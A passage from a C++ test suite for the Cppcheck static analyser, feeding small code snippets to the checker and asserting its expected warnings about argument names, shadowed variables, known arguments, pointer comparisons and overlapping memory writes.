c);\\n\"\n \"void func2(int A, int B, int C) { }\\n\"\n \"class Fred {\\n\"\n \" void func1(int a, int b, int c);\\n\"\n \" void func2(int a, int b, int c);\\n\"\n \" void func3(int a = 0, int b = 0, int c = 0);\\n\"\n \" void func4(int a = 0, int b = 0, int c = 0);\\n\"\n \"};\\n\"\n \"void Fred::func1(int a, int b, int c) { }\\n\"\n \"void Fred::func2(int A, int B, int C) { }\\n\"\n \"void Fred::func3(int a, int b, int c) { }\\n\"\n \"void Fred::func4(int A, int B, int C) { }\");\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:4:16]: (style, inconclusive) Function 'func2' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:3:23] -> [test.cpp:4:23]: (style, inconclusive) Function 'func2' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:3:30] -> [test.cpp:4:30]: (style, inconclusive) Function 'func2' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:20] -> [test.cpp:12:22]: (style, inconclusive) Function 'func2' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:27] -> [test.cpp:12:29]: (style, inconclusive) Function 'func2' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:34] -> [test.cpp:12:36]: (style, inconclusive) Function 'func2' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:20] -> [test.cpp:14:22]: (style, inconclusive) Function 'func4' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:31] -> [test.cpp:14:29]: (style, inconclusive) Function 'func4' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:42] -> [test.cpp:14:36]: (style, inconclusive) Function 'func4' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\", errout_str());\n }\n\n void funcArgOrderDifferent() {\n check(\"void func1(int a, int b, int c);\\n\"\n \"void func1(int a, int b, int c) { }\\n\"\n \"void func2(int a, int b, int c);\\n\"\n \"void func2(int c, int b, int a) { }\\n\"\n \"void func3(int, int b, int c);\\n\"\n \"void func3(int c, int b, int a) { }\\n\"\n \"class Fred {\\n\"\n \" void func1(int a, int b, int c);\\n\"\n \" void func2(int a, int b, int c);\\n\"\n \" void func3(int a = 0, int b = 0, int c = 0);\\n\"\n \" void func4(int, int b = 0, int c = 0);\\n\"\n \"};\\n\"\n \"void Fred::func1(int a, int b, int c) { }\\n\"\n \"void Fred::func2(int c, int b, int a) { }\\n\"\n \"void Fred::func3(int c, int b, int a) { }\\n\"\n \"void Fred::func4(int c, int b, int a) { }\\n\",\n true, false);\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:4:16]: (warning) Function 'func2' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:5:12] -> [test.cpp:6:16]: (warning) Function 'func3' argument order different: declaration ', b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:9:20] -> [test.cpp:14:22]: (warning) Function 'func2' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:10:20] -> [test.cpp:15:22]: (warning) Function 'func3' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:11:16] -> [test.cpp:16:22]: (warning) Function 'func4' argument order different: declaration ', b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\", errout_str());\n }\n\n // #7846 - Syntax error when using C++11 braced-initializer in default argument\n void cpp11FunctionArgInit() {\n // syntax error is not expected\n ASSERT_NO_THROW(check(\"\\n void foo(int declaration = {}) {\"\n \"\\n for (int i = 0; i < 10; i++) {}\\n\"\n \"\\n }\"\n \"\\n \"));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void shadowVariables() {\n check(\"int x;\\n\"\n \"void f() { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:5] -> [test.cpp:2:16]: (style) Local variable 'x' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"int x();\\n\"\n \"void f() { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:5] -> [test.cpp:2:16]: (style) Local variable 'x' shadows outer function [shadowFunction]\\n\", errout_str());\n\n check(\"struct C {\\n\"\n \" C(int x) : x(x) {}\\n\" // <- we do not want a FP here\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (cond) {int x;}\\n\" // <- not a shadow variable\n \" int x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int size() {\\n\"\n \" int size;\\n\" // <- not a shadow variable\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #8954 - lambda\n \" int x;\\n\"\n \" auto f = [](){ int x; }\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:12] -> [test.cpp:1:21]: (style) Local variable 'x' shadows outer argument [shadowArgument]\\n\", errout_str());\n\n check(\"class C { C(); void foo() { static int C = 0; } }\"); // #9195 - shadow constructor\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct C {\\n\" // #10091 - shadow destructor\n \" ~C();\\n\"\n \" void f() {\\n\"\n \" bool C{};\\n\"\n \" }\\n\"\n \"};\\n\"\n \"C::~C() = default;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // 10752 - no\n check(\"struct S {\\n\"\n \" int i;\\n\"\n \"\\n\"\n \" static int foo() {\\n\"\n \" int i = 0;\\n\"\n \" return i;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i{};\\n\"\n \" void f() { int i; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:20]: (style) Local variable 'i' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i{};\\n\"\n \" std::vector v;\\n\"\n \" void f() const { for (const int& i : v) {} }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:38]: (style) Local variable 'i' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #10405\n \" F* f{};\\n\"\n \" std::list fl;\\n\"\n \" void S::f() const;\\n\"\n \"};\\n\"\n \"void S::f() const {\\n\"\n \" for (const F& f : fl) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:8] -> [test.cpp:7:19]: (style) Local variable 'f' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"extern int a;\\n\"\n \"int a;\\n\"\n \"static int f(void) {\\n\"\n \" int a;\\n\"\n \" return 0;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:1:12] -> [test.c:4:9]: (style) Local variable 'a' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #12591\n \" int g = 0;\\n\"\n \" return g;\\n\"\n \"}\\n\"\n \"int g() { return 1; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #13888\n \" int i;\\n\"\n \" friend int f() { int i = 5; return i; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownArgument() {\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((x & 0x01) >> 7);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Argument '(x&0x01)>>7' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((int)((x & 0x01) >> 7));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (style) Argument '(int)((x&0x01)>>7)' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\", errout_str());\n\n check(\"void g(int, int);\\n\"\n \"void f(int x) {\\n\"\n \" g(x, (x & 0x01) >> 7);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:20]: (style) Argument '(x&0x01)>>7' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\",\n errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void h() { return 1; }\\n\"\n \"void f(int x) {\\n\"\n \" g(h());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g(std::strlen(\\\"a\\\"));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((int)0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(Foo *);\\n\"\n \"void f() {\\n\"\n \" g(reinterpret_cast(0));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" x = 0;\\n\"\n \" g(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f() {\\n\"\n \" const int x = 0;\\n\"\n \" g(x + 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f() {\\n\"\n \" char i = 1;\\n\"\n \" g(static_cast(i));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char *yytext;\\n\"\n \"void re_init_scanner() {\\n\"\n \" int size = 256;\\n\"\n \" yytext = xmalloc(size * sizeof *yytext);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const char *c) {\\n\"\n \" if (*c == '+' && (operand || !isalnum(*c))) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8986\n check(\"void f(int);\\n\"\n \"void g() {\\n\"\n \" const int x[] = { 10, 10 };\\n\"\n \" f(x[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int);\\n\"\n \"void g() {\\n\"\n \" int x[] = { 10, 10 };\\n\"\n \" f(x[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Variable 'x' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"struct A { int x; };\"\n \"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" A y;\\n\"\n \" y.x = 1;\\n\"\n \" g(y.x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // allow known argument value in assert call\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" ASSERT((int)((x & 0x01) >> 7));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9905 - expression that does not use integer calculation at all\n check(\"void foo() {\\n\"\n \" const std::string heading = \\\"Interval\\\";\\n\"\n \" std::cout << std::setw(heading.length());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9909 - struct member with known value\n check(\"struct LongStack {\\n\"\n \" int maxsize;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void growLongStack(LongStack* self) {\\n\"\n \" self->maxsize = 32;\\n\"\n \" dostuff(self->maxsize * sizeof(intptr_t));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11894\n check(\"struct S {\\n\"\n \" int *p, n;\\n\"\n \"};\\n\"\n \"S* g() {\\n\"\n \" S* s = static_cast(calloc(1, sizeof(S)));\\n\"\n \" s->n = 100;\\n\"\n \" s->p = static_cast(malloc(s->n * sizeof(int)));\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11679\n check(\"bool g(int);\\n\"\n \"void h(int);\\n\"\n \"int k(int a) { h(a); return 0; }\\n\"\n \"void f(int i) {\\n\"\n \" if (g(k(i))) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11889\n check(\"struct S {\\n\"\n \" int a[5];\\n\"\n \" void f(int i);\\n\"\n \"}\\n\"\n \"void g(int);\\n\"\n \"void S::f(int i) {\\n\"\n \" if (a[i] == 1) {\\n\"\n \" a[i] = 0;\\n\"\n \" g(a[i]);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11927\n check(\"void f(func_t func, int i) {\\n\"\n \" (func)(i, 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { void operator()(int, int); };\\n\"\n \"void f(int i) {\\n\"\n \" S()(i, 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int& r) {\\n\"\n \" g(static_cast(r = 42));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"void f(int i) {\\n\"\n \" const int a[] = { i - 1 * i, 0 };\\n\"\n \" auto s = S{ i - 1 * i };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Argument 'i-1*i' to init list { is always 0. It does not matter what value 'i' has. [knownArgument]\\n\"\n \"[test.cpp:4:19]: (style) Argument 'i-1*i' to constructor S is always 0. It does not matter what value 'i' has. [knownArgument]\\n\",\n errout_str());\n\n checkP(\"#define MACRO(X) std::abs(X ? 0 : a)\\n\"\n \"int f(int a) {\\n\"\n \" return MACRO(true);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownArgumentHiddenVariableExpression() {\n // #9914 - variable expression is explicitly hidden\n check(\"void f(int x) {\\n\"\n \" dostuff(x && false);\\n\"\n \" dostuff(false && x);\\n\"\n \" dostuff(x || true);\\n\"\n \" dostuff(true || x);\\n\"\n \" dostuff(x * 0);\\n\"\n \" dostuff(0 * x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Argument 'false&&x' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:5:18]: (style) Argument 'true||x' to function dostuff is always 1. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:6:15]: (style) Argument 'x*0' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:7:15]: (style) Argument '0*x' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\", errout_str());\n }\n\n void knownArgumentTernaryOperator() { // #10374\n check(\"void f(bool a, bool b) {\\n\"\n \" const T* P = nullptr; \\n\"\n \" long N = 0; \\n\"\n \" const bool c = foo(); \\n\"\n \" bar(P, N); \\n\"\n \" if (c ? a : b)\\n\"\n \" baz(P, N); \\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkComparePointers() {\n check(\"int f() {\\n\"\n \" const int foo[1] = {0};\\n\"\n \" const int bar[1] = {0};\\n\"\n \" int diff = 0;\\n\"\n \" if(foo > bar) {\\n\"\n \" diff = 1;\\n\"\n \" }\\n\"\n \" return diff;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:15] -> [test.cpp:5:8] -> [test.cpp:3:15] -> [test.cpp:5:14] -> [test.cpp:5:12]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 0;\\n\"\n \" int* xp = &x;\\n\"\n \" int* yp = &y;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:15] -> [test.cpp:3:9] -> [test.cpp:5:15] -> [test.cpp:6:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:4:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 1;\\n\"\n \" return &x > &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:12] -> [test.cpp:3:9] -> [test.cpp:4:17] -> [test.cpp:4:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f() {\\n\"\n \" A x;\\n\"\n \" A y;\\n\"\n \" int* xp = &x.data;\\n\"\n \" int* yp = &y.data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:7] -> [test.cpp:5:15] -> [test.cpp:4:7] -> [test.cpp:6:15] -> [test.cpp:7:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f(A ix, A iy) {\\n\"\n \" A* x = &ix;\\n\"\n \" A* y = &iy;\\n\"\n \" int* xp = &x->data;\\n\"\n \" int* yp = &y->data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10] -> [test.cpp:3:12] -> [test.cpp:5:15] -> [test.cpp:2:16] -> [test.cpp:4:12] -> [test.cpp:6:15] -> [test.cpp:7:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f(int * xp, int* yp) {\\n\"\n \" return &xp > &yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:1:14] -> [test.cpp:2:12] -> [test.cpp:1:23] -> [test.cpp:2:18] -> [test.cpp:2:16]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 1;\\n\"\n \" return &x - &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:12] -> [test.cpp:3:9] -> [test.cpp:4:17] -> [test.cpp:4:15]: (error) Subtracting pointers that point to different objects [subtractPointers]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x[2] = {1, 2}m;\\n\"\n \" int* xp = &x[0];\\n\"\n \" int* yp = &x[1];\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:4:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f(const int * xp, const int* yp) {\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(const int & x, const int& y) {\\n\"\n \" return &x > &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& g();\\n\"\n \"bool f() {\\n\"\n \" const int& x = g();\\n\"\n \" const int& y = g();\\n\"\n \" const int* xp = &x;\\n\"\n \" const int* yp = &y;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f(A ix) {\\n\"\n \" A* x = &ix;\\n\"\n \" A* y = x;\\n\"\n \" int* xp = &x->data;\\n\"\n \" int* yp = &y->data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct S { int i; };\\n\" // #11576\n \"int f(S s) {\\n\"\n \" return &s.i - (int*)&s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"int f(S s1, S s2) {\\n\"\n \" return &s1.i - reinterpret_cast(&s2);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:12] -> [test.cpp:2:15] -> [test.cpp:3:43] -> [test.cpp:3:18]: (error) Subtracting pointers that point to different objects [subtractPointers]\\n\",\n errout_str());\n\n check(\"struct S { int a; int b; };\\n\" // #12422\n \"int f() {\\n\"\n \" S s;\\n\"\n \" return &s.b - &s.a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void unusedVariableValueTemplate() {\n check(\"#include \\n\"\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class Hash\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" std::size_t operator()(const A& a) const\\n\"\n \" {\\n\"\n \" (void)a;\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" };\\n\"\n \"};\\n\"\n \"namespace std\\n\"\n \"{\\n\"\n \" template <>\\n\"\n \" struct hash\\n\"\n \" {\\n\"\n \" std::size_t operator()(const A& a) const noexcept\\n\"\n \" {\\n\"\n \" return A::Hash{}(a);\\n\"\n \" }\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moduloOfOne() {\n check(\"void f(unsigned int x) {\\n\"\n \" int y = x % 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Modulo of one is always equal to zero [moduloofone]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" for (int x = 1; x < 10; x++) {\\n\"\n \" int y = 100 % x;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i, int j) {\\n\" // #11191\n \" const int c = pow(2, i);\\n\"\n \" if (j % c) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void sameExpressionPointers() {\n check(\"int f(int *i);\\n\"\n \"void g(int *a, const int *b) {\\n\"\n \" int c = *a;\\n\"\n \" f(a);\\n\"\n \" if (b && c != *a) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkOverlappingWrite() {\n // union\n check(\"void foo() {\\n\"\n \" union { int i; float f; } u;\\n\"\n \" u.i = 0;\\n\"\n \" u.i = u.f;\\n\" // <- error\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Overlapping read/write of union is undefined behavior [overlappingWriteUnion]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11013\n \" union { struct { uint8_t a; uint8_t b; }; uint16_t c; } u;\\n\"\n \" u.a = u.b = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // memcpy\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(&a[5], &a[4], 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a+5, a+4, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a, a+1, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[8];\\n\"\n \" memcpy(&a[0], &a[4], 4u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"_Bool a[10];\\n\" // #10350\n \"void foo() {\\n\"\n \" memcpy(&a[5], &a[4], 2u * sizeof(a[0]));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"int K[2];\\n\" // #12638\n \"void f(int* p) {\\n\"\n \" memcpy(&K[0], &K[1], sizeof(K[0]));\\n\"\n \" memcpy(&K[1], &K[0], sizeof(K[0]));\\n\"\n \" memcpy(p, p + 1, sizeof(*p));\\n\"\n \" memcpy(p + 1, p, sizeof(*p));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int K[2];\\n\"\n \"void f(int* p) {\\n\"\n \" memcpy(&K[0], &K[1], 2 * sizeof(K[0]));\\n\"\n \" memcpy(&K[1], &K[0], 2 *sizeof(K[0]));\\n\"\n \" memcpy(p, p + 1, 2 * sizeof(*p));\\n\"\n \" memcpy(p + 1, p, 2 * sizeof(*p));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:4:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:5:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:6:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\",\n errout_str());\n\n // wmemcpy\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(&a[5], &a[4], 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(a+5, a+4, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(a, a+1, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n // strcpy\n check(\"void foo(char *ptr) {\\n\"\n \" strcpy(ptr, ptr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (error) Overlapping read/write in strcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n }\n\n void constVariableArrayMember() { // #10371\n check(\"class Foo {\\n\"\n \"public:\\n\"\n \" Foo();\\n\"\n \" int GetVal() const { return m_Arr[0]; }\\n\"\n \" int m_Arr[1];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownPointerToBool()\n {\n check(\"void g(bool);\\n\"\n \"void f() {\\n\"\n \" int i = 5;\\n\"\n \" int* p = &i;\\n\"\n \" g(p);\\n\"\n \" g(&i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (style) Pointer expression 'p' converted to bool is always true. [knownPointerToBool]\\n\"\n \"[test.cpp:6:7]: (style) Pointer expression '&i' converted to bool is always true. [knownPointerToBool]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" const int* x = nullptr;\\n\"\n \" std::empty(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int* x = nullptr;\\n\"\n \" std::empty(const_cast(x));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { bool x; };\\n\"\n \"bool f(A* a) {\\n\"\n \" if (a) {\\n\"\n \" return a->x;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int* x; };\\n\"\n \"bool f(A a) {\\n\"\n \" if (a.x) {\\n\"\n \" return a.x;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: (style) Pointer expression 'a.x' converted to bool is always true. [knownPointerToBool]\\n\", errout_str());\n\n check(\"void f(bool* b) { if (b) *b = true; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return bool(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"bool f() {\\n\"\n \" int* x 